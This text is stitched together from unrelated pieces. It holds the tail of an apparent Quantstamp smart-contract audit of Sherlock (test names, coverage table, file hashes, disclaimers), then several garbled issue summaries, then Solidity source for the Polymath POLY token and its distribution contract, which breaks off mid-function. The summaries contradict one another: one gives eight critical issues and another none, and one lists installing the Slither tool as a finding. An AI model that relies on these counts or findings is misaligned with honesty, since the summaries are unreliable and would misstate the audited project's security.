Invalid length 1 ✓ Invalid length 2 ✓ Invalid protocol ✓ Invalid token (sherx) ✓ Invalid token setPPmAndTokenPrice(bytes32[],address,uint256[],uint256) ✓ Invalid sender ✓ Invalid length ✓ Invalid protocol ✓ Invalid token (sherx) ✓ Invalid token setPPmAndTokenPrice(bytes32[],address[][],uint256[][],uint256[][]) ✓ Invalid sender ✓ Invalid length 1 ✓ Invalid length 2 ✓ Invalid length 3 ✓ Invalid length 4 ✓ Invalid length 5 ✓ Invalid protocol ✓ Invalid token (sherx) ✓ Invalid token Payout ─ State Changing setInitialGovPayout() ✓ Invalid sender ✓ Invalid gov ✓ Success transferGovPayout() ✓ Invalid sender ✓ Invalid gov ✓ Invalid gov (same) ✓ Success payout() ✓ Invalid sender ✓ Invalid payout (zero) ✓ Invalid payout (this) ✓ Invalid length 1 ✓ Invalid length 2 ✓ Invalid length 3 ✓ Invalid token ✓ Success Payout ─ View Methods getGovPayout() ✓ Do Pool ─ State Changing setCooldownFee() ✓ Invalid sender ✓ Invalid fee ✓ Invalid token ✓ Success depositProtocolBalance() ✓ Invalid protocol ✓ Invalid amount ✓ Invalid token ✓ Invalid token (disabled) ✓ Success withdrawProtocolBalance() ✓ Invalid sender ✓ Invalid protocol ✓ Invalid amount ✓ Invalid receiver ✓ Invalid token ✓ Success stake() ✓ Invalid amount ✓ Invalid receiver ✓ Invalid token ✓ Invalid token (disabled) ✓ Success activateCooldown() ✓ Invalid amount ✓ Invalid token ✓ Success cancelCooldown() ✓ Invalid id✓ Invalid token ✓ Success unstakeWindowExpiry() ✓ Invalid account/id ✓ Invalid token unstake() ✓ Invalid id ✓ Invalid receiver ✓ Invalid token ✓ Success payOffDebtAll() ✓ Invalid token ✓ Success cleanProtocol() ✓ Invalid sender ✓ Invalid receiver ✓ Invalid token ✓ Invalid token (zero) ✓ Invalid index (zero) ✓ Success ISherX ─ State Changing _beforeTokenTransfer() ✓ Invalid sender setInitialWeight() ✓ Invalid sender ✓ Success setWeights() ✓ Invalid sender ✓ Invalid token ✓ Invalid lengths ✓ Success harvest() ✓ Success harvest(address) ✓ Success harvest(address[]) ✓ Success harvestFor(address) ✓ Success harvestFor(address,address) ✓ Success harvestFor(address,address[]) ✓ Success redeem() ✓ Invalid amount ✓ Invalid receiver ✓ Success ISherXERC20 ─ State Changing initializeSherXERC20() ✓ Invalid sender ✓ Invalid name ✓ Invalid symbol ✓ Success increaseAllowance() ✓ Invalid spender ✓ Invalid amount ✓ Success decreaseAllowance() ✓ Invalid spender ✓ Invalid amount ✓ Success approve() ✓ Invalid spender transferFrom() ✓ Invalid from PoolStrategy ─ State Changing strategyRemove() ✓ Invalid sender ✓ Invalid token strategyUpdate() ✓ Invalid sender ✓ Invalid token ✓ Invalid strategy strategyDeposit() ✓ Invalid sender ✓ Invalid token ✓ Invalid amount ✓ No strategy strategyWithdraw() ✓ Invalid sender ✓ Invalid token ✓ Invalid amount ✓ No strategy strategyWithdrawAll() ✓ Invalid sender ✓ Invalid token ✓ No strategy 474 passing (47s) Code Coverage The code coverage is excellent. File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 ForeignLock.sol 100 100 100 100 NativeLock.sol 100 100 100 100 contracts/ facets/ 100 100 100 100 Gov.sol 100 100 100 100 GovDev.sol 100 100 100 100 Manager.sol 100 100 100 100 Payout.sol 100 100 100 100 PoolBase.sol 100 100 100 100 PoolDevOnly.sol 100 100 100 100 PoolOpen.sol 100 100 100 100 File% Stmts % Branch % Funcs % Lines Uncovered Lines PoolStrategy.sol 100 100 100 100 SherX.sol 100 100 100 100 SherXERC20.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IGov.sol 100 100 100 100 IGovDev.sol 100 100 100 100 ILock.sol 100 100 100 100 IManager.sol 100 100 100 100 IPayout.sol 100 100 100 100 IPoolBase.sol 100 100 100 100 IPoolStake.sol 100 100 100 100 IPoolStrategy.sol 100 100 100 100 IRemove.sol 100 100 100 100 ISherX.sol 100 100 100 100 ISherXERC20.sol 100 100 100 100 ISherlock.sol 100 100 100 100 IStrategy.sol 100 100 100 100 contracts/ interfaces/ aaveV2/ 100 100 100 100 DataTypes.sol 100 100 100 100 IAToken.sol 100 100 100 100 IAaveDistributionManager.sol 100 100 100 100 IAaveGovernanceV2.sol 100 100 100 100 IAaveIncentivesController.sol 100 100 100 100 IExecutorWithTimelock.sol 100 100 100 100 IGovernanceV2Helper.sol 100 100 100 100 ILendingPool.sol 100 100 100 100 ILendingPoolAddressesProvider.sol 100 100 100 100 IProposalValidator.sol 100 100 100 100 IStakeAave.sol 100 100 100 100 MockAave.sol 100 100 100 100 contracts/ libraries/ 100 100 100 100 LibPool.sol 100 100 100 100 LibSherX.sol 100 100 100 100 LibSherXERC20.sol 100 100 100 100 contracts/ storage/ 100 100 100 100 GovStorage.sol 100 100 100 100 PayoutStorage.sol 100 100 100 100 PoolStorage.sol 100 100 100 100 SherXERC20Storage.sol 100 100 100 100 SherXStorage.sol 100 100 100 100 contracts/ util/ 100 100 100 100 Import.sol 100 100 100 100 All files 100 100 100 100 Appendix File SignaturesThe following are the SHA-256 hashes of the reviewed files. A file with a different SHA-256 hash has been modified, intentionally or otherwise, after the security review. You are cautioned that a different SHA-256 hash could be (but is not necessarily) an indication of a changed condition or potential vulnerability that was not within the scope of the review. Contracts f2dbee5fa5fb14e73d545dd529c2b2b3ad7036a02c1460003fb5f1494f666e1d ./contracts/ForeignLock.sol b5a698ab27ad97d34397b8930c6b34a244daccc44b179bb866ccadc30965230b ./contracts/NativeLock.sol 2293e575ff2138e8873b213c44700304f06b48ffb52ef7fdf4a3b40643144b5c ./contracts/interfaces/IPoolBase.sol cebf303928a31b507bcabe1a037be97bcbc8af5b41341706f49395ab9d0457e2 ./contracts/interfaces/IPayout.sol 0cace961edcd0d2d402f400548f1e271c624dd0fc3dc41e5462f1bb81a8637e6 ./contracts/interfaces/IPoolStrategy.sol 0bb87f0288fed9e6cf031ae3ca0b56b614c524311e6d4160a107d9f827539652 ./contracts/interfaces/ISherX.sol 8a4d708bb947be23a547dcb30a734fe909e1d2facc7bfe7d02cbd181f74fd1f2 ./contracts/interfaces/IPoolStake.sol 523813d994c2d24e801c150fa1e411e1d0c09c87eacbd24b8e80f2b3489b4735 ./contracts/interfaces/ISherlock.sol b7726ab896c1c95ae8be81df16790c8af8a43a66c20cd24173fe4e1cf647ae26 ./contracts/interfaces/IRemove.sol c62cba55cbf39372531c53888e5d3f67b109c37c0f821c4417e6d8f79b5161f5 ./contracts/interfaces/IStrategy.sol 2abd721b3c95fad0fc856c178108514b9ee5442926cfe76c0f331230742e9f5d ./contracts/interfaces/IGovDev.sol 9467af8564e28508c5c0f1c60abbc1d1187b9b52b029f9e67d05062a1a1de1df ./contracts/interfaces/IManager.sol e9e9b2b73da5c5c299a314004109916ccf5b597a84a46acf7216e9ec4d059cb2 ./contracts/interfaces/ISherXERC20.sol 238992aa04e7f1b3489853b208201cb134d6e8b1c376d14485b5ca4cc14c9dc6 ./contracts/interfaces/ILock.sol 4118ab267d414eae024a28e2105e9ca6d2b68616296c9db2aab21ae78ba79a35 ./contracts/interfaces/IGov.sol b216db3959d5d3991f21f635a137c5689c85cfd5d615443eb65547bfbe29d488 ./contracts/interfaces/aaveV2/IProposalValidator.sol f653ba8e59d5daa59e4faf4609fefac32a50c769f06c895372587e04bfc69781 ./contracts/interfaces/aaveV2/IGovernanceV2Helper.sol be0f6a8de524761e59926a0576105c6a090df89236456ad29e1f90065c5a9e4b ./contracts/interfaces/aaveV2/IAaveIncentivesController.sol 7b2bf14c8516fb4b747a954d3091ec8e9959be4fdc0fd8e5f3926a6f58835e79 ./contracts/interfaces/aaveV2/IAaveDistributionManager.sol 0812fefddf1e8936a7076d60824bf64da7ce0f9b604b56c620a19aaf0a9fb505 ./contracts/interfaces/aaveV2/IAaveGovernanceV2.sol 30c02e2519b95b3a933f5624fe752fa1485903492639e1920c50cefeb67e91bb ./contracts/interfaces/aaveV2/ILendingPool.sol e4bfb2e3224e1d125444a55f00efb8c2ff0cf3c4e28c1749acf7dab0f378c5d1 ./contracts/interfaces/aaveV2/ILendingPoolAddressesProvider.sol 34bb1abaa341c68de831caabc0ddb23fadcd07d69e29c50b66a471ddd0cb00a1 ./contracts/interfaces/aaveV2/DataTypes.sol f85413659ce7a6f1392c96ea959e300517ad2be10aa0243101231001ff948e21 ./contracts/interfaces/aaveV2/IAToken.sol b49d3af2879fad4312c2922714b60c34ea9a272f60ac422769e96bd40a0304b0 ./contracts/interfaces/aaveV2/IExecutorWithTimelock.sol 5a9e1420a32f718b145a4a811264fd303f999f2b1ddd002eafa13f4dc1d71083 ./contracts/interfaces/aaveV2/IStakeAave.sol fe83babe5fcbeec4d8ce7222294d487d66a04796f84ef2b12927fd0e48accd9b ./contracts/interfaces/aaveV2/MockAave.sol 4bb3828068a8312d8788debb28ce58f6eb1358cdc7eabe2a2074aa849c2d2d80 ./contracts/storage/GovStorage.sol a61fd24b909bf81176682340ef7562e5333a741255ad736e847daed29665e20a ./contracts/storage/PayoutStorage.sol 4b8e537df205d0adc56b2d3d688a82fcd4c65a840a11411b645eb567a256957d ./contracts/storage/SherXStorage.sol 55f3598395d03a47142f4fb005c8f2812c6742a5b6a3ce105c6c90b6edd0de64 ./contracts/storage/PoolStorage.sol e54b7312e39429cbd5d4babf77e7b0817c075bd06a82cc034ee98dec8e4dc422 ./contracts/storage/SherXERC20Storage.sol ef3949df59fbdf491020749b56554f9d06831987ddfae707baa0b09a812cce6f ./contracts/libraries/LibSherX.sol 87c99e1e464483d61e830981007b026caee5cff484e74f48611b56bcd8ed5e08 ./contracts/libraries/LibPool.sol dd113e3810cdf8892c9d7a12a552a146fff0dda263d8bcaf31148481219a2a36 ./contracts/libraries/LibSherXERC20.sol 0ef035d0fd1f00bcfdf8b428dea511f4b6332962145069877bd4db3cc6c12f64 ./contracts/strategies/AaveV2.sol 5ca0b7abe31d8d65afdeee6ecc157687012242e26721710df32e3c22e6c7fcfb ./contracts/util/Import.sol c9d81ff5c7215710ef5ad0ab08a8491f51d85fb11c34caa2538b4b32a6625200 ./contracts/util/RemoveMock.sol 440551a2078f00a21befbb94c7af08d1571d5b5ef681523f5451fa477e225ab8 ./contracts/util/ERC20Mock.sol a19fbda17d8ceb026d8ebbdb5e18094585f30947eafaaf700d586f8d1b3e3642 ./contracts/util/StrategyMock.sol 49feef4dc0a32dcd2d6d581c5a7ceea29172b52e03dc6fdf651da99d61832fbc ./contracts/facets/PoolStrategy.sol befcefaa01bf20cde836c209ff00991185ba5b9818ba3a7ecb019748b0a4185b ./contracts/facets/SherXERC20.sol b21d5ac57be593881bfdc2c66fb200c6d076474cce1b006248b73cef53e7effb ./contracts/facets/PoolDevOnly.sol 746006ca5e016b2e465cdc0838fd77c85fff17429d0ed064ef8722f58d6b8946 ./contracts/facets/Payout.sol 992dcdc01603be03e4b1d7d9c84725e57f036412d33f6521378a1b29eafac3b6 ./contracts/facets/Gov.sol 20cb5012ae1a613967a3c10ca4f58f9a0013c6ff3f2570c7db1c4bba7b11b8f1 ./contracts/facets/SherX.sol 75d704c0d8d839d45e6b824928e93a2820a67586c8c55ef2bb83d37206907d1d ./contracts/facets/Manager.sol 55c3608d6075a43ad3ca6c88b44888694c39c83035307e11f1d18bcbcbdda155 ./contracts/facets/PoolOpen.sol 81a7e76e40af311c6d4cd3e547f5944093be11afbe8cf05a7534a14ef98679ec ./contracts/facets/GovDev.sol 218212551a42f22c0415e1001183f74be2571beef1ed764c57ff960f968a452e ./contracts/facets/PoolBase.sol Tests aeda6f8ee3d8e424baebd59627bf6f721743b592248755e46862784e6198d854 ./test/Payout.js 6bd6715ac108611497b24f17034a20442cf6a8029bb36d3ee83eb1aacce97b0b ./test/SherXERC20.js 02367cf04d41d177f74837c8cf5a25d8f8275c8c303adb844794247fb758c81e ./test/SherX.js a55033b6bcff32ee08699cd199ec1cee75d34cc44ea4a4f08697fb098dd790a2./test/GovDev.js 1235d86371893370bbf3751588f0a8ae04abd661a53bce432caad0a762fe1412 ./test/Stateless.js 43207a38cd32dafc5abed30fc18c433eb388343235f13c4b71a8b05e2b7cf899 ./test/Pool.js 9df3febb3563d1cda8ab791195bcbe5adadc57416f277c181aeb7bd0ab415e84 ./test/Manager.js 0e25d01a91919999b46667d42294e020a495107bdc35b5b2badb2287fe7f971e ./test/Gov.js 3b5ae6fc53927ee385f988e71c3683aabfeee73b02ec90d05b6a830446458096 ./test/Production.js 0418923dff3411cdce8d8f5c79d426af31fde94d42b875de44e720496773d206 ./test/PoolStrategy.js 0a06273c516a267cfe8c3926d926a92f87326499a5abc2a7c7137db32f912538 ./test/utilities/index.js d67031622c046ee35827603ffc15e590efdf18492a47dab3afe23c98e80383d7 ./test/utilities/snapshot.js e1b73d3d51fef58ad338b5dfc92bf0b3a9d83539b739de51a729f62a65abbdd3 ./test/mainnet-test/AaveV2.js Changelog 2021-08-10 - Initial report •2021-09-10 - Reaudit report (c9aeaf5) •About QuantstampQuantstamp is a Y Combinator-backed company that helps to secure blockchain platforms at scale using computer-aided reasoning tools, with a mission to help boost the adoption of this exponentially growing technology. With over 1000 Google scholar citations and numerous published papers, Quantstamp's team has decades of combined experience in formal verification, static analysis, and software verification. Quantstamp has also developed a protocol to help smart contract developers and projects worldwide to perform cost-effective smart contract security scans. To date, Quantstamp has protected $5B in digital asset risk from hackers and assisted dozens of blockchain projects globally through its white glove security assessment services. As an evangelist of the blockchain ecosystem, Quantstamp assists core infrastructure projects and leading community initiatives such as the Ethereum Community Fund to expedite the adoption of blockchain technology. Quantstamp's collaborations with leading academic institutions such as the National University of Singapore and MIT (Massachusetts Institute of Technology) reflect our commitment to research, development, and enabling world-class blockchain security. Timeliness of content The content contained in the report is current as of the date appearing on the report and is subject to change without notice, unless indicated otherwise by Quantstamp; however, Quantstamp does not guarantee or warrant the accuracy, timeliness, or completeness of any report you access using the internet or other means, and assumes no obligation to update any information following publication. Notice of confidentiality This report, including the content, data, and underlying methodologies, are subject to the confidentiality and feedback provisions in your agreement with Quantstamp. These materials are not to be disclosed, extracted, copied, or distributed except to the extent expressly authorized by Quantstamp. Links to other websites You may, through hypertext or other computer links, gain access to web sites operated by persons other than Quantstamp, Inc. (Quantstamp). Such hyperlinks are provided for your reference and convenience only, and are the exclusive responsibility of such web sites' owners. You agree that Quantstamp are not responsible for the content or operation of such web sites, and that Quantstamp shall have no liability to you or any other person or entity for the use of third-party web sites. Except as described below, a hyperlink from this web site to another web site does not imply or mean that Quantstamp endorses the content on that web site or the operator or operations of that site. You are solely responsible for determining the extent to which you may use any content at any other web sites to which you link from the report. Quantstamp assumes no responsibility for the use of third-party software on the website and shall have no liability whatsoever to any person or entity for the accuracy or completeness of any outcome generated by such software. Disclaimer This report is based on the scope of materials and documentation provided for a limited review at the time provided. Results may not be complete nor inclusive of all vulnerabilities. The review and this report are provided on an as-is, where-is, and as-available basis. You agree that your access and/or use, including but not limited to any associated services, products, protocols, platforms, content, and materials, will be at your sole risk. Blockchain technology remains under development and is subject to unknown risks and flaws. The review does not extend to the compiler layer, or any other areas beyond the programming language, or other programming aspects that could present security risks. A report does not indicate the endorsement of any particular project or team, nor guarantee its security. No third party should rely on the reports in any way, including for the purpose of making any decisions to buy or sell a product, service or any other asset. To the fullest extent permitted by law, we disclaim all warranties, expressed or implied, in connection with this report, its content, and the related services and products and your use thereof, including, without limitation, the implied warranties of merchantability, fitness for a particular purpose, and non-infringement. We do not warrant, endorse, guarantee, or assume responsibility for any product or service advertised or offered by a third party through the product, any open source or third-party software, code, libraries, materials, or information linked to, called by, referenced by or accessible through the report, its content, and the related services and products, any hyperlinked websites, any websites or mobile applications appearing on any advertising, and we will not be a party to or in any way be responsible for monitoring any transaction between you and any third-party providers of products or services. As with the purchase or use of a product or service through any medium or in any environment, you should use your best judgment and exercise caution where appropriate. FOR AVOIDANCE OF DOUBT, THE REPORT, ITS CONTENT, ACCESS, AND/OR USAGE THEREOF, INCLUDING ANY ASSOCIATED SERVICES OR MATERIALS, SHALL NOT BE CONSIDERED OR RELIED UPON AS ANY FORM OF FINANCIAL, INVESTMENT, TAX, LEGAL, REGULATORY, OR OTHER ADVICE. Sherlock Audit
Issues Count of Minor/Moderate/Major/Critical - Minor: 10 (5 Resolved) - Moderate: 5 (1 Resolved) - Major: 1 (1 Resolved) - Critical: 8 (2 Resolved) - Undetermined: 1 (0 Resolved) Minor Issues 2.a Problem (one line with code reference) - Unchecked return values in the `withdraw` function (Lines 545-546) 2.b Fix (one line with code reference) - Add a check for the return value of the `withdraw` function (Lines 545-546) Moderate 3.a Problem (one line with code reference) - Unchecked return values in the `deposit` function (Lines 537-538) 3.b Fix (one line with code reference) - Add a check for the return value of the `deposit` function (Lines 537-538) Major 4.a Problem (one line with code reference) - Unchecked return values in the `transfer` function (Lines 531-532) 4.b Fix (one line with code Issues Count of Minor/Moderate/Major/Critical - Minor: 8 - Moderate: 5 - Major: 0 - Critical: 0 Minor Issues 2.a Problem: Last Parameter Can Be Spoofed (QSP-1) 2.b Fix: Fixed (QSP-1) 3.a Problem: Adding/Updating Protocols Should Be Timelocked (QSP-2) 3.b Fix: Acknowledged (QSP-2) 4.a Problem: Insufficient Buffer For Price Fluctuations (QSP-3) 4.b Fix: Acknowledged (QSP-3) 5.a Problem: Protocol May Overpay Premium Fee (QSP-4) 5.b Fix: Acknowledged (QSP-4) 6.a Problem: First Money Out Pool Not Emptied First (QSP-5) 6.b Fix: Acknowledged (QSP-5) 7.a Problem: Non-empty Strategies Can Be Removed Without Sweeping (QSP-6) 7.b Fix: Fixed (QSP-6) 8.a Problem: Privileged R Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 0 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Installed the Slither tool 2.b Fix: Run Slither from the project directory: pip install slither-analyzer slither Moderate: None Major: None Critical: None Observations: The audit was conducted using the Slither tool and Mythril tool. Conclusion: The audit was conducted successfully and no major or critical issues were found.
pragma solidity ^0.4.18; import './interfaces/IERC20.sol'; import './SafeMath.sol'; /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 */ contract PolyToken is IERC20 { using SafeMath for uint256; // Poly Token parameters string public name = 'Polymath'; string public symbol = 'POLY'; uint8 public constant decimals = 18; uint256 public constant decimalFactor = 10 ** uint256(decimals); uint256 public totalSupply = 1000000000 * decimalFactor; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Constructor for Poly creation * @dev Assigns the totalSupply to the PolyDistribution contract */ function PolyToken(address _polyDistributionContractAddress) public { balances[_polyDistributionContractAddress] = totalSupply; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } pragma solidity ^0.4.18; /* Copyright (c) 2016 Smart Contract Solutions, Inc. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } pragma solidity ^0.4.18; /* Copyright (c) 2016 Smart Contract Solutions, Inc. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } pragma solidity ^0.4.18; contract Migrations { address public owner; uint public last_completed_migration; modifier restricted() { if (msg.sender == owner) _; } function Migrations() public { owner = msg.sender; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } function upgrade(address new_address) public restricted { Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration); } } pragma solidity ^0.4.18; import './interfaces/IERC20.sol'; import './PolyToken.sol'; import './SafeMath.sol'; import './Ownable.sol'; /** * @title POLY token initial distribution * * @dev Distribute purchasers, airdrop, reserve, and founder tokens */ contract PolyDistribution is Ownable { using SafeMath for uint256; PolyToken public POLY; uint256 private constant decimalFactor = 10**uint256(18); enum AllocationType { PRESALE, FOUNDER, AIRDROP, ADVISOR, RESERVE, BONUS1, BONUS2, BONUS3 } uint256 public constant INITIAL_SUPPLY = 1000000000 * decimalFactor; uint256 public AVAILABLE_TOTAL_SUPPLY = 1000000000 * decimalFactor; uint256 public AVAILABLE_PRESALE_SUPPLY = 240000000 * decimalFactor; // 100% Released at Token Distribution (TD) uint256 public AVAILABLE_FOUNDER_SUPPLY = 150000000 * decimalFactor; // 25% Released at TD +1 year -> 100% at TD +4 years uint256 public AVAILABLE_AIRDROP_SUPPLY = 10000000 * decimalFactor; // 100% Released at TD uint256 public AVAILABLE_ADVISOR_SUPPLY = 25000000 * decimalFactor; // 100% Released at TD +7 months uint256 public AVAILABLE_RESERVE_SUPPLY = 495000000 * decimalFactor; // 12.5% Released at TD +6 months -> 100% at TD +4 years uint256 public AVAILABLE_BONUS1_SUPPLY = 20000000 * decimalFactor; uint256 public AVAILABLE_BONUS2_SUPPLY = 30000000 * decimalFactor; uint256 public AVAILABLE_BONUS3_SUPPLY = 30000000 * decimalFactor; uint256 public grandTotalClaimed = 0; uint256 public startTime; // Allocation with vesting information struct Allocation { uint8 AllocationSupply; // Type of allocation uint256 endCliff; // Tokens are locked until uint256 endVesting; // This is when the tokens are fully unvested uint256 totalAllocated; // Total tokens allocated uint256 amountClaimed; // Total tokens claimed } mapping (address => Allocation) public allocations; // List of admins mapping (address => bool) public airdropAdmins; // Keeps track of whether or not a 250 POLY airdrop has been made to a particular address mapping (address => bool) public airdrops; modifier onlyOwnerOrAdmin() { require(msg.sender == owner || airdropAdmins[msg.sender]); _; } event LogNewAllocation(address indexed _recipient, AllocationType indexed _fromSupply, uint256 _totalAllocated, uint256 _grandTotalAllocated); event LogPolyClaimed(address indexed _recipient, uint8 indexed _fromSupply, uint256 _amountClaimed, uint256 _totalAllocated, uint256 _grandTotalClaimed); /** * @dev Constructor function - Set the poly token address * @param _startTime The time when PolyDistribution goes live */ function PolyDistribution(uint256 _startTime) public { require(_startTime >= now); require(AVAILABLE_TOTAL_SUPPLY == AVAILABLE_PRESALE_SUPPLY.add(AVAILABLE_FOUNDER_SUPPLY).add(AVAILABLE_AIRDROP_SUPPLY).add(AVAILABLE_ADVISOR_SUPPLY).add(AVAILABLE_BONUS1_SUPPLY).add(AVAILABLE_BONUS2_SUPPLY).add(AVAILABLE_BONUS3_SUPPLY).add(AVAILABLE_RESERVE_SUPPLY)); startTime = _startTime; POLY = new PolyToken(this); } /** * @dev Allow the owner of the contract to assign a new allocation * @param _recipient The recipient of the allocation * @param _totalAllocated The total amount of POLY available to the receipient (after vesting) * @param _supply The POLY supply the allocation will be taken from */ function setAllocation (address _recipient, uint256 _totalAllocated, AllocationType _supply) onlyOwner public { require(allocations[_recipient].totalAllocated == 0 && _totalAllocated > 0); require(_supply >= AllocationType.PRESALE && _supply <= AllocationType.BONUS3); require(_recipient != address(0)); if (_supply == AllocationType.PRESALE) { AVAILABLE_PRESALE_SUPPLY = AVAILABLE_PRESALE_SUPPLY.sub(_totalAllocated); allocations[_recipient] = Allocation(uint8(AllocationType.PRESALE), 0, 0, _totalAllocated, 0); } else if (_supply == AllocationType.FOUNDER) { AVAILABLE_FOUNDER_SUPPLY = AVAILABLE_FOUNDER_SUPPLY.sub(_totalAllocated); allocations[_recipient] = Allocation(uint8(AllocationType.FOUNDER), startTime + 1 years, startTime + 4 years, _totalAllocated, 0); } else if (_supply == AllocationType.ADVISOR) { AVAILABLE_ADVISOR_SUPPLY = AVAILABLE_ADVISOR_SUPPLY.sub(_totalAllocated); allocations[_recipient] = Allocation(uint8(AllocationType.ADVISOR), startTime + 212 days, 0, _totalAllocated, 0); } else if (_supply == AllocationType.RESERVE) { AVAILABLE_RESERVE_SUPPLY = AVAILABLE_RESERVE_SUPPLY.sub(_totalAllocated); allocations[_recipient] = Allocation(uint8(AllocationType.RESERVE), startTime + 182 days, startTime + 4 years, _totalAllocated, 0); } else if (_supply == AllocationType.BONUS1) { AVAILABLE_BONUS1_SUPPLY = AVAILABLE_BONUS1_SUPPLY.sub(_totalAllocated); allocations[_recipient] = Allocation(uint8(AllocationType.BONUS1), startTime + 1 years, startTime + 1 years, _totalAllocated, 0); } else if (_supply == AllocationType.BONUS2) { 